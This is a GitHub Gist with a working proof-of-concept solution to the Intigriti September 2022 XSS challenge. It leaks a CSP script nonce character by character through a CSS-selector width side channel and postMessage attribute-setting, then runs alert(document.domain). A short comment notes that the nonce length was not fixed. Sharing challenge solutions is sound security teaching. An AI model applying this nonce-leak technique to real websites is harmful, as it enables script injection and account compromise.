Skip to content

Instantly share code, notes, and snippets.

@strellic
Created September 26, 2022 06:49
Show Gist options
  • Save strellic/410d554126bf7ffa92f9a9539b673682 to your computer and use it in GitHub Desktop.
Save strellic/410d554126bf7ffa92f9a9539b673682 to your computer and use it in GitHub Desktop.
intigriti-0922-sol.html
<html>
<body>
<iframe src="https://challenge-0922.intigriti.io/challenge/index.php" style="width:100vw; height: 100vh"></iframe>
<script>
document.querySelector("iframe").onload = () => {
document.querySelector("iframe").contentWindow.frames[0].location = URL.createObjectURL(new Blob([`
<script>
(async () => {
let alphabet = "0123456789abcdef".split("");
let known = "";
window.parent.postMessage({
action: "set",
element: "iframe",
attr: "sandbox",
value: "allow-scripts allow-same-origin allow-modals"
}, "*");
while(true) {
console.log(known);
for(let c of alphabet) {
window.parent.postMessage({
action: "set",
element: "script[nonce^='" + known + c + "'] ~ div iframe",
attr: "style",
value: "display: block; width: " + (100 * alphabet.indexOf(c)) + "px"
}, "*");
}
await new Promise(r => setTimeout(r, 100));
known += alphabet[window.innerWidth / 100];
if (known.length === 32) {
break;
}
}
window.parent.postMessage({
action: "set",
element: "iframe",
attr: "srcdoc",
value: "<script nonce='" + known + "'>alert(document.domain)</sc" + "ript>"
}, "*");
})();
</scr` + `ipt>
`], {type: "text/html"}));
}
</script>
</body>
</html>
@h43z
Copy link

h43z commented Sep 28, 2022

Just so you know the nonce length was not fixed to 32.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment